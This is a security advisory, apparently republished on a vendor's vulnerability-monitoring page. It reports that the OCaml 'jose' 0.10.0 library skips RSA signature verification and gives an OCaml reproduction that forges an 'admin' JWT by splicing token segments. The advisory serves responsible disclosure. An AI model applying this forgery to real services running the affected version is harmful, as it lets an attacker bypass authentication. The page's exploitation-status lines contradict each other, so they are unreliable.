Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
OSEC-2026-19
The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.
Reproduction
With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:
let () = Mirage_crypto_rng_unix.use_default ()
let key =
Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())
let sign sub =
Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
|> Result.get_ok |> Jose.Jwt.to_string
let seg n token = List.nth (String.split_on_char '.' token) n
let alice = sign "alice" and admin = sign "admin"
(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]
match
Jose.Jwt.unsafe_of_string forged
|> Result.get_ok
|> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
| Ok t ->
print_endline
("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
| Error _ -> print_endline "rejected"
The dune file:
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))
This prints "accepted, sub = admin".
Workaround
There is no workaround known.
Timeline
- 2026-08-25: private report via email to the authors of jose
- 2026-08-25: fix published to repository
- 2026-08-31: mail escalated to security@ocaml.org
- 2026-09-04: released jose 0.11.0
- 2026-09-10: published advisory
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard